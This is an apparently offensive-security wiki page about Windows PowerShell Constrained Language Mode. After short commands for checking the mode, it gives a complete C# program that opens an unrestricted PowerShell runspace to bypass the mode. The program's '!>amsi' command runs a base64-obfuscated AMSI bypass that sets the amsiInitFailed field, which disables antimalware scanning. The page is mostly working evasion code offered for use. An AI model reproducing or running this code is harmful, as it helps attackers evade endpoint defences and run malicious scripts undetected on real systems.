Constrained Language Mode

Overview

Constrained Language Mode is a security feature in Windows PowerShell that restricts the use of certain language elements that could potentially be used to execute malicious code. This feature was introduced in PowerShell version 2.0 to help prevent malicious scripts and commands from running on a system.

When PowerShell is in Constrained Language Mode, it restricts access to certain .NET Framework classes and types, as well as some PowerShell language elements.

Check for Constrained Language Mode

$ExecutionContext.SessionState.LanguageMode

[System.Console]::WriteLine("ConstrainedModeTest")

Bypassing constrained language mode with PowerShell runspace

A PowerShell runspace is a lightweight container that allows you to execute PowerShell commands and scripts within a specific context.

Code example

using System;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Threading;

namespace PowerShellRunspace
{
    internal class Program
    {
        static void Main(string[] args)
        {
            bool running = false;

            ProcessStartInfo startInfo = new ProcessStartInfo();
            {
                startInfo.FileName = "powershell.exe";
                startInfo.RedirectStandardOutput = true;
                startInfo.UseShellExecute = false;
                startInfo.Arguments = "-NoExit -ExecutionPolicy Bypass"; 
                startInfo.Verb = "runas";
            }

            Runspace runspace = RunspaceFactory.CreateRunspace();
            {
                runspace.Open();
            }

            PowerShell powershell = PowerShell.Create();
            {
                powershell.Runspace = runspace;
            }

            Thread cmd = new Thread(() =>
            {
                running = true;
                while (running)
                {
                    Console.Write("PS> ");
                    string command = Console.ReadLine();
                    Collection<PSObject> results = new Collection<PSObject>();
                    switch (command)
                    {
                        case "exit":
                            running = false;
                            break;
                        case "!>amsi":
                            string amsi = "$t = [Ref].Assembly.GetTypes() | foreach {if ($_.Name -like \"*iUtils\") {$u=$_}};Invoke-Expression ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"JABmAHMAIAA9ACAAJAB1AC4ARwBlAHQARgBpAGUAbABkAHMAKAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApACAAfAAgAGYAbwByAGUAYQBjAGgAIAB7AGkAZgAgACgAJABfAC4ATgBhAG0AZQAgAC0AbABpAGsAZQAgACIAKgBJAG4AaQB0AEYAYQBpAGwAZQBkACIAKQAgAHsAJABmAD0AJABfAH0AfQA=\")));$f.SetValue($null,$true)";
                            powershell.AddScript(amsi);
                            powershell.Streams.ClearStreams();
                            results = powershell.Invoke();
                            break;
                        default:
                            powershell.AddScript(command);
                            powershell.Streams.ClearStreams();
                            results = powershell.Invoke();

                            foreach (PSObject obj in results)
                            {
                                Console.WriteLine(obj.ToString());
                            }
                            break;
                    }
                }
            });
            cmd.Start();

            cmd.Join();

            powershell.Dispose();
            runspace.Dispose();
        }
    }
}

Last updated